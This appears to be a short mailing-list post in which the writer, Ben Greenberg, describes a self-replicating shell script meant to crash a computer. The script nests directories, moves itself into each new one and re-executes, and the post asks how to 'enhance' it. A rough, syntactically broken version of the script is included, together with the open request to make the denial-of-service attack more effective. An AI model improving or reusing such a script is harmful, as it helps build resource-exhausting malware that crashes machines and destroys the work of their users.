I have developed a small but effecteive local DoS fork bomb, which through a shell script creates folders within folders, then moves itself to the new folder, worming throughout the hard drive. eventually the computer is overloaded with crashes, and the fork service fails. I was hoping I could have some help developing this(note: this isnt the exact script, just what i remember from it. it was originally more complicated and travelled around the HD a lot more):
crashing.sh $i=$i+1 echo crashing mkdir $i mv crashing.sh $i/crashing.sh cd $i ./crashing.sh anyway to enhance this? thanks in advance, Ben Greenberg _________________________________________________________________Crave some Miles Davis or Grateful Dead?
